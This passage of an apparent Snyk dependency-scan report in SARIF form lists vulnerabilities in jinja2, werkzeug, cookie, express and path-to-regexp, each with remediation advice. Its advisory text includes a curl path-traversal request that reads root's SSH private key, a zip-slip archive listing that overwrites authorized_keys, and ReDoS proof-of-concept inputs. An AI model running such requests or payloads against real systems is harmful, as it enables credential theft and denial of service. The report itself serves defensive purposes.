simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.\n* Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.\n* Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.\n\n# Remediation\nUpgrade `Jinja2` to version 3.1.3 or higher.\n# References\n- [GitHub Commit](https://github.com/pallets/jinja/commit/7dd3680e6eea0d77fde024763657aa4d884ddb23)\n- [GitHub Release](https://github.com/pallets/jinja/releases/tag/3.1.3)\n- [Snyk Blog](https://snyk.io/blog/jinja2-xss-vulnerability/)\n" - }, - "properties": { - "tags": ["security", "CWE-79", "pip"], - "cvssv3_baseScore": 5.4, - "security-severity": "5.4" - } - }, - { - "id": "SNYK-PYTHON-JINJA2-6809379", - "shortDescription": { - "text": "Medium severity - Cross-site Scripting (XSS) vulnerability in jinja2" - }, - "fullDescription": { - "text": "(CVE-2024-34064) jinja2@2.7.2" - }, - "help": { - "text": "", - "markdown": "* Package Manager: pip\n* Vulnerable module: jinja2\n* Introduced through: python@0.0.0 and jinja2@2.7.2\n### Detailed paths\n* _Introduced through_: python@0.0.0 › jinja2@2.7.2\n* _Introduced through_: python@0.0.0 › flask@3.0.0 › jinja2@2.7.2\n# Overview\n[Jinja2](https://pypi.org/project/Jinja2/) is a template engine written in pure Python. It provides a Django inspired non-XML syntax but supports inline expressions and an optional sandboxed environment.\n\nAffected versions of this package are vulnerable to Cross-site Scripting (XSS) through the `xmlattr` filter. An attacker can manipulate the output of web pages by injecting additional attributes into elements, potentially leading to unauthorized actions or information disclosure.\r\n\r\n**Note:**\r\nThis vulnerability derives from an improper fix of [CVE-2024-22195](https://security.snyk.io/vuln/SNYK-PYTHON-JINJA2-6150717), which only addressed spaces but not other characters.\n# Details\n\nCross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.\n\nThis is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.\n\nInjecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.\n\nEscaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, `<` can be coded as `<`; and `>` can be coded as `>`; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses `<` and `>` as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.\n \nThe most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware. \n\n## Types of attacks\nThere are a few methods by which XSS can be manipulated:\n\n|Type|Origin|Description|\n|--|--|--|\n|**Stored**|Server|The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.|\n|**Reflected**|Server|The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.| \n|**DOM-based**|Client|The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.|\n|**Mutated**| |The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.|\n\n## Affected environments\nThe following environments are susceptible to an XSS attack:\n\n* Web servers\n* Application servers\n* Web application environments\n\n## How to prevent\nThis section describes the top best practices designed to specifically protect your code: \n\n* Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches. \n* Convert special characters such as `?`, `&`, `/`, `<`, `>` and spaces to their respective HTML or URL encoded equivalents. \n* Give users the option to disable client-side scripts.\n* Redirect invalid requests.\n* Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.\n* Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.\n* Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.\n\n# Remediation\nUpgrade `Jinja2` to version 3.1.4 or higher.\n# References\n- [GitHub Commit](https://github.com/pallets/jinja/commit/0668239dc6b44ef38e7a6c9f91f312fd4ca581cb)\n" - }, - "properties": { - "tags": ["security", "CWE-79", "pip"], - "cvssv3_baseScore": 5.4, - "security-severity": "5.4" - } - }, - { - "id": "SNYK-PYTHON-JINJA2-8548181", - "shortDescription": { - "text": "Medium severity - Template Injection vulnerability in jinja2" - }, - "fullDescription": { - "text": "(CVE-2024-56326) jinja2@2.7.2" - }, - "help": { - "text": "", - "markdown": "* Package Manager: pip\n* Vulnerable module: jinja2\n* Introduced through: python@0.0.0 and jinja2@2.7.2\n### Detailed paths\n* _Introduced through_: python@0.0.0 › jinja2@2.7.2\n* _Introduced through_: python@0.0.0 › flask@3.0.0 › jinja2@2.7.2\n# Overview\n\nAffected versions of this package are vulnerable to Template Injection when an attacker controls the content of a template. This is due to an oversight in the sandboxed environment's method detection when using a stored reference to a malicious string's `format` method, which can then be executed through a filter.\r\n\r\n**Note:** This is only exploitable through custom filters in an application.\n# Remediation\nUpgrade `jinja2` to version 3.1.5 or higher.\n# References\n- [GitHub Commit](https://github.com/pallets/jinja/commit/48b0687e05a5466a91cd5812d604fa37ad0943b4)\n- [GitHub Release](https://github.com/pallets/jinja/releases/tag/3.1.5)\n- [Jinja Chnanges](https://jinja.palletsprojects.com/en/stable/changes/#version-3-1-5)\n" - }, - "properties": { - "tags": ["security", "CWE-1336", "pip"], - "cvssv3_baseScore": 5.4, - "security-severity": "5.4" - } - }, - { - "id": "SNYK-PYTHON-JINJA2-8548987", - "shortDescription": { - "text": "Medium severity - Improper Neutralization vulnerability in jinja2" - }, - "fullDescription": { - "text": "(CVE-2024-56201) jinja2@2.7.2" - }, - "help": { - "text": "", - "markdown": "* Package Manager: pip\n* Vulnerable module: jinja2\n* Introduced through: python@0.0.0 and jinja2@2.7.2\n### Detailed paths\n* _Introduced through_: python@0.0.0 › jinja2@2.7.2\n* _Introduced through_: python@0.0.0 › flask@3.0.0 › jinja2@2.7.2\n# Overview\n\nAffected versions of this package are vulnerable to Improper Neutralization when importing a macro in a template whose filename is also a template. This will result in a `SyntaxError: f-string: invalid syntax` error message because the filename is not properly escaped, indicating that it is being treated as a format string.\r\n\r\n**Note:** This is only exploitable when the attacker controls both the content and filename of a template and the application executes untrusted templates.\n# Remediation\nUpgrade `jinja2` to version 3.1.5 or higher.\n# References\n- [GitHub Commit](https://github.com/pallets/jinja/commit/767b23617628419ae3709ccfb02f9602ae9fe51f)\n- [GitHub Issue](https://github.com/pallets/jinja/issues/1792)\n- [GitHub PR](https://github.com/pallets/jinja/pull/1852)\n- [GitHub Release](https://github.com/pallets/jinja/releases/tag/3.1.5)\n" - }, - "properties": { - "tags": ["security", "CWE-150", "pip"], - "cvssv3_baseScore": 5.4, - "security-severity": "5.4" - } - }, - { - "id": "SNYK-PYTHON-JINJA2-9292516", - "shortDescription": { - "text": "Medium severity - Template Injection vulnerability in jinja2" - }, - "fullDescription": { - "text": "(CVE-2025-27516) jinja2@2.7.2" - }, - "help": { - "text": "", - "markdown": "* Package Manager: pip\n* Vulnerable module: jinja2\n* Introduced through: python@0.0.0 and jinja2@2.7.2\n### Detailed paths\n* _Introduced through_: python@0.0.0 › jinja2@2.7.2\n* _Introduced through_: python@0.0.0 › flask@3.0.0 › jinja2@2.7.2\n# Overview\n[Jinja2](https://pypi.org/project/Jinja2/) is a template engine written in pure Python. It provides a Django inspired non-XML syntax but supports inline expressions and an optional sandboxed environment.\n\nAffected versions of this package are vulnerable to Template Injection through the `|attr` filter. An attacker that controls the content of a template can escape the sandbox and execute arbitrary Python code by using the `|attr` filter to get a reference to a string's plain format method, bypassing the environment's attribute lookup.\r\n\r\n**Note:**\r\n\r\nThis is only exploitable if the application executes untrusted templates.\n# Remediation\nUpgrade `Jinja2` to version 3.1.6 or higher.\n# References\n- [GitHub Commit](https://github.com/pallets/jinja/commit/90457bbf33b8662926ae65cdde4c4c32e756e403)\n" - }, - "properties": { - "tags": ["security", "CWE-1336", "pip"], - "cvssv3_baseScore": 5.4, - "security-severity": "5.4" - } - }, - { - "id": "SNYK-PYTHON-WERKZEUG-6808933", - "shortDescription": { - "text": "High severity - Remote Code Execution (RCE) vulnerability in werkzeug" - }, - "fullDescription": { - "text": "(CVE-2024-34069) werkzeug@3.0.1" - }, - "help": { - "text": "", - "markdown": "* Package Manager: pip\n* Vulnerable module: werkzeug\n* Introduced through: python@0.0.0 and werkzeug@3.0.1\n### Detailed paths\n* _Introduced through_: python@0.0.0 › werkzeug@3.0.1\n* _Introduced through_: python@0.0.0 › flask@3.0.0 › werkzeug@3.0.1\n# Overview\n\nAffected versions of this package are vulnerable to Remote Code Execution (RCE) due to insufficient hostname checks and the use of relative paths to resolve requests. When the debugger is enabled, an attacker can convince a user to enter their own PIN to interact with a domain and subdomain they control, and thereby cause malicious code to be executed.\r\n\r\nThe demonstrated attack vector requires a number of conditions that render this attack very difficult to achieve, especially if the victim application is running in the recommended configuration of not having the debugger enabled in production.\n# Remediation\nUpgrade `werkzeug` to version 3.0.3 or higher.\n# References\n- [GitHub Commit](https://github.com/pallets/werkzeug/commit/71b69dfb7df3d912e66bab87fbb1f21f83504967)\n- [GitHub Release](https://github.com/pallets/werkzeug/releases/tag/3.0.3)\n" - }, - "properties": { - "tags": ["security", "CWE-94", "pip"], - "cvssv3_baseScore": 7.5, - "security-severity": "7.5" - } - }, - { - "id": "SNYK-PYTHON-WERKZEUG-8309091", - "shortDescription": { - "text": "Medium severity - Directory Traversal vulnerability in werkzeug" - }, - "fullDescription": { - "text": "(CVE-2024-49766) werkzeug@3.0.1" - }, - "help": { - "text": "", - "markdown": "* Package Manager: pip\n* Vulnerable module: werkzeug\n* Introduced through: python@0.0.0 and werkzeug@3.0.1\n### Detailed paths\n* _Introduced through_: python@0.0.0 › werkzeug@3.0.1\n* _Introduced through_: python@0.0.0 › flask@3.0.0 › werkzeug@3.0.1\n# Overview\n[Werkzeug](https://werkzeug.palletsprojects.com/) is a WSGI web application library.\n\nAffected versions of this package are vulnerable to Directory Traversal due to a bypass for `os.path.isabs()`, which allows the improper handling of UNC paths beginning with `/`, in the `safe_join()` function. This allows an attacker to read some files on the affected server, if they are stored in an affected path.\n\n**Note:** This is only exploitable on Windows systems using Python versions prior to 3.11.\n\n# Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n# Remediation\nUpgrade `Werkzeug` to version 3.0.6 or higher.\n# References\n- [GitHub Commit](https://github.com/pallets/werkzeug/commit/2767bcb10a7dd1c297d812cc5e6d11a474c1f092)\n" - }, - "properties": { - "tags": ["security", "CWE-22", "pip"], - "cvssv3_baseScore": 6.3, - "security-severity": "6.3" - } - }, - { - "id": "SNYK-PYTHON-WERKZEUG-8309092", - "shortDescription": { - "text": "Medium severity - Allocation of Resources Without Limits or Throttling vulnerability in werkzeug" - }, - "fullDescription": { - "text": "(CVE-2024-49767) werkzeug@3.0.1" - }, - "help": { - "text": "", - "markdown": "* Package Manager: pip\n* Vulnerable module: werkzeug\n* Introduced through: python@0.0.0 and werkzeug@3.0.1\n### Detailed paths\n* _Introduced through_: python@0.0.0 › werkzeug@3.0.1\n* _Introduced through_: python@0.0.0 › flask@3.0.0 › werkzeug@3.0.1\n# Overview\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in `formparser.MultiPartParser()`. An attacker can cause the parser to consume more memory than the upload size, in excess of `max_form_memory_size`, by sending malicious data in a non-file field of a `multipart/form-data` request.\n# Remediation\nUpgrade `werkzeug` to version 3.0.6 or higher.\n# References\n- [GitHub Commit](https://github.com/pallets/quart/commit/5e78c4169b8eb66b91ead3e62d44721b9e1644ee)\n- [GitHub Commit](https://github.com/pallets/werkzeug/commit/50cfeebcb0727e18cc52ffbeb125f4a66551179b)\n- [GitHub Release](https://github.com/pallets/werkzeug/releases/tag/3.0.6)\n" - }, - "properties": { - "tags": ["security", "CWE-770", "pip"], - "cvssv3_baseScore": 6.9, - "security-severity": "6.9" - } - } - ] - } - }, - "automationDetails": { - "id": "Snyk/Open Source/python/2025-11-13T12:34:30.245Z" - }, - "results": [ - { - "ruleId": "SNYK-PYTHON-JINJA2-1012994", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable jinja2 package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "python/requirements.txt" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "jinja2@2.7.2" - } - ] - } - ] - }, - { - "ruleId": "SNYK-PYTHON-JINJA2-174126", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable jinja2 package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "python/requirements.txt" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "jinja2@2.7.2" - } - ] - } - ] - }, - { - "ruleId": "SNYK-PYTHON-JINJA2-455616", - "level": "error", - "message": { - "text": "This file introduces a vulnerable jinja2 package with a high severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "python/requirements.txt" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "jinja2@2.7.2" - } - ] - } - ] - }, - { - "ruleId": "SNYK-PYTHON-JINJA2-6150717", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable jinja2 package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "python/requirements.txt" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "jinja2@2.7.2" - } - ] - } - ] - }, - { - "ruleId": "SNYK-PYTHON-JINJA2-6809379", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable jinja2 package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "python/requirements.txt" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "jinja2@2.7.2" - } - ] - } - ] - }, - { - "ruleId": "SNYK-PYTHON-JINJA2-8548181", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable jinja2 package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "python/requirements.txt" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "jinja2@2.7.2" - } - ] - } - ] - }, - { - "ruleId": "SNYK-PYTHON-JINJA2-8548987", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable jinja2 package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "python/requirements.txt" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "jinja2@2.7.2" - } - ] - } - ] - }, - { - "ruleId": "SNYK-PYTHON-JINJA2-9292516", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable jinja2 package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "python/requirements.txt" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "jinja2@2.7.2" - } - ] - } - ] - }, - { - "ruleId": "SNYK-PYTHON-WERKZEUG-6808933", - "level": "error", - "message": { - "text": "This file introduces a vulnerable werkzeug package with a high severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "python/requirements.txt" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "werkzeug@3.0.1" - } - ] - } - ] - }, - { - "ruleId": "SNYK-PYTHON-WERKZEUG-8309091", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable werkzeug package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "python/requirements.txt" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "werkzeug@3.0.1" - } - ] - } - ] - }, - { - "ruleId": "SNYK-PYTHON-WERKZEUG-8309092", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable werkzeug package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "python/requirements.txt" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "werkzeug@3.0.1" - } - ] - } - ] - } - ] - }, - { - "tool": { - "driver": { - "name": "Snyk Open Source", - "semanticVersion": "1.1301.0", - "version": "1.1301.0", - "informationUri": "https://docs.snyk.io/", - "properties": { - "artifactsScanned": 23 - }, - "rules": [ - { - "id": "SNYK-JS-COOKIE-8163060", - "shortDescription": { - "text": "Medium severity - Cross-site Scripting (XSS) vulnerability in cookie" - }, - "fullDescription": { - "text": "(CVE-2024-47764) cookie@0.1.0" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: cookie\n* Introduced through: tsc@1.0.0, express@4.0.0 and others\n### Detailed paths\n* _Introduced through_: tsc@1.0.0 › express@4.0.0 › cookie@0.1.0\n# Overview\n\nAffected versions of this package are vulnerable to Cross-site Scripting (XSS) via the cookie `name`, `path`, or `domain`, which can be used to set unexpected values to other cookie fields.\r\n\r\n# Workaround\r\nUsers who are not able to upgrade to the fixed version should avoid passing untrusted or arbitrary values for the cookie fields and ensure they are set by the application instead of user input.\n# Details\n\nCross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.\n\nThis is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.\n\nInjecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.\n\nEscaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, `<` can be coded as `<`; and `>` can be coded as `>`; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses `<` and `>` as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.\n \nThe most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware. \n\n## Types of attacks\nThere are a few methods by which XSS can be manipulated:\n\n|Type|Origin|Description|\n|--|--|--|\n|**Stored**|Server|The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.|\n|**Reflected**|Server|The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.| \n|**DOM-based**|Client|The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.|\n|**Mutated**| |The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.|\n\n## Affected environments\nThe following environments are susceptible to an XSS attack:\n\n* Web servers\n* Application servers\n* Web application environments\n\n## How to prevent\nThis section describes the top best practices designed to specifically protect your code: \n\n* Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches. \n* Convert special characters such as `?`, `&`, `/`, `<`, `>` and spaces to their respective HTML or URL encoded equivalents. \n* Give users the option to disable client-side scripts.\n* Redirect invalid requests.\n* Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.\n* Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.\n* Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.\n\n# Remediation\nUpgrade `cookie` to version 0.7.0 or higher.\n# References\n- [GitHub Commit](https://github.com/jshttp/cookie/commit/e10042845354fea83bd8f34af72475eed1dadf5c)\n- [GitHub PR](https://github.com/jshttp/cookie/pull/167)\n- [Red Hat Bugzilla Bug](https://bugzilla.redhat.com/show_bug.cgi?id=2316549)\n" - }, - "properties": { - "tags": ["security", "CWE-79", "npm"], - "cvssv3_baseScore": 6.3, - "security-severity": "6.3" - } - }, - { - "id": "SNYK-JS-EXPRESS-6474509", - "shortDescription": { - "text": "Medium severity - Open Redirect vulnerability in express" - }, - "fullDescription": { - "text": "(CVE-2024-29041) express@4.0.0" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: express\n* Introduced through: tsc@1.0.0 and express@4.0.0\n### Detailed paths\n* _Introduced through_: tsc@1.0.0 › express@4.0.0\n# Overview\n[express](https://github.com/expressjs/express) is a minimalist web framework.\n\nAffected versions of this package are vulnerable to Open Redirect due to the implementation of URL encoding using `encodeurl` before passing it to the `location` header. This can lead to unexpected evaluations of malformed URLs by common redirect allow list implementations in applications, allowing an attacker to bypass a properly implemented allow list and redirect users to malicious sites.\n# Remediation\nUpgrade `express` to version 4.19.2, 5.0.0-beta.3 or higher.\n# References\n- [Github Commit](https://github.com/expressjs/express/commit/0b746953c4bd8e377123527db11f9cd866e39f94)\n- [GitHub Commit](https://github.com/expressjs/express/commit/0867302ddbde0e9463d0564fea5861feb708c2dd)\n- [Github Issue](https://github.com/koajs/koa/issues/1800)\n- [GitHub PR](https://github.com/expressjs/express/pull/5551)\n" - }, - "properties": { - "tags": ["security", "CWE-601", "npm"], - "cvssv3_baseScore": 6.1, - "security-severity": "6.1" - } - }, - { - "id": "SNYK-JS-EXPRESS-7926867", - "shortDescription": { - "text": "Medium severity - Cross-site Scripting vulnerability in express" - }, - "fullDescription": { - "text": "(CVE-2024-43796) express@4.0.0" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: express\n* Introduced through: tsc@1.0.0 and express@4.0.0\n### Detailed paths\n* _Introduced through_: tsc@1.0.0 › express@4.0.0\n# Overview\n[express](https://github.com/expressjs/express) is a minimalist web framework.\n\nAffected versions of this package are vulnerable to Cross-site Scripting due to improper handling of user input in the `response.redirect` method. An attacker can execute arbitrary code by passing malicious input to this method.\r\n\r\n\r\n**Note**\r\n\r\nTo exploit this vulnerability, the following conditions are required:\r\n\r\n1) The attacker should be able to control the input to `response.redirect()`\r\n\r\n2) express must not redirect before the template appears\r\n\r\n3) the browser must not complete redirection before:\r\n\r\n4) the user must click on the link in the template\n# Remediation\nUpgrade `express` to version 4.20.0, 5.0.0 or higher.\n# References\n- [GitHub Commit](https://github.com/expressjs/express/commit/54271f69b511fea198471e6ff3400ab805d6b553)\n" - }, - "properties": { - "tags": ["security", "CWE-79", "npm"], - "cvssv3_baseScore": 5.1, - "security-severity": "5.1" - } - }, - { - "id": "npm:express:20140912", - "shortDescription": { - "text": "Medium severity - Cross-site Scripting (XSS) vulnerability in express" - }, - "fullDescription": { - "text": "(CVE-2014-6393) express@4.0.0" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: express\n* Introduced through: tsc@1.0.0 and express@4.0.0\n### Detailed paths\n* _Introduced through_: tsc@1.0.0 › express@4.0.0\n# Overview\r\n[`express`](https://www.npmjs.com/package/express) is a minimalist web framework.\r\n\r\nAffected versions of this package do not enforce the user's browser to set a specific charset in the content-type header while displaying 400 level response messages. This could be used by remote attackers to perform a cross-site scripting attack, by using non-standard encodings like UTF-7.\r\n\r\n# Details\r\n<>\r\n\r\n\r\n# Recommendations\r\nUpdate express to `3.11.0`, `4.5.0` or higher.\r\n\r\n# References\r\n- [GitHub release 3.11.0](https://github.com/expressjs/express/releases/tag/3.11.0)\r\n- [GitHub release 4.5.0](https://github.com/expressjs/express/releases/tag/4.5.0)" - }, - "properties": { - "tags": ["security", "CWE-79", "npm"], - "cvssv3_baseScore": 5.4, - "security-severity": "5.4" - } - }, - { - "id": "SNYK-JS-PATHTOREGEXP-7925106", - "shortDescription": { - "text": "Medium severity - Regular Expression Denial of Service (ReDoS) vulnerability in path-to-regexp" - }, - "fullDescription": { - "text": "(CVE-2024-45296) path-to-regexp@0.1.2" - }, - "help": { - "text": "", - "markdown": "* Package Manager: npm\n* Vulnerable module: path-to-regexp\n* Introduced through: tsc@1.0.0, express@4.0.0 and others\n### Detailed paths\n* _Introduced through_: tsc@1.0.0 › express@4.0.0 › path-to-regexp@0.1.2\n# Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when including multiple regular expression parameters in a single segment, which will produce the regular expression `/^\\/([^\\/]+?)-([^\\/]+?)\\/?$/`, if two parameters within a single segment are separated by a character other than a `/` or `.`. Poor performance will block the event loop and can lead to a DoS.\r\n\r\n**Note:**\r\nWhile the 8.0.0 release has completely eliminated the vulnerable functionality, prior versions that have received the patch to mitigate backtracking may still be vulnerable if custom regular expressions are used. So it is strongly recommended for regular expression input to be controlled to avoid malicious performance degradation in those versions. This behavior is enforced as of version 7.1.0 via the `strict` option, which returns an error if a dangerous regular expression is detected.\r\n\r\n# Workaround\r\nThis vulnerability can be avoided by using a custom regular expression for parameters after the first in a segment, which excludes `-` and `/`.\n# PoC\n```js\r\n/a${'-a'.repeat(8_000)}/a\r\n```\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly 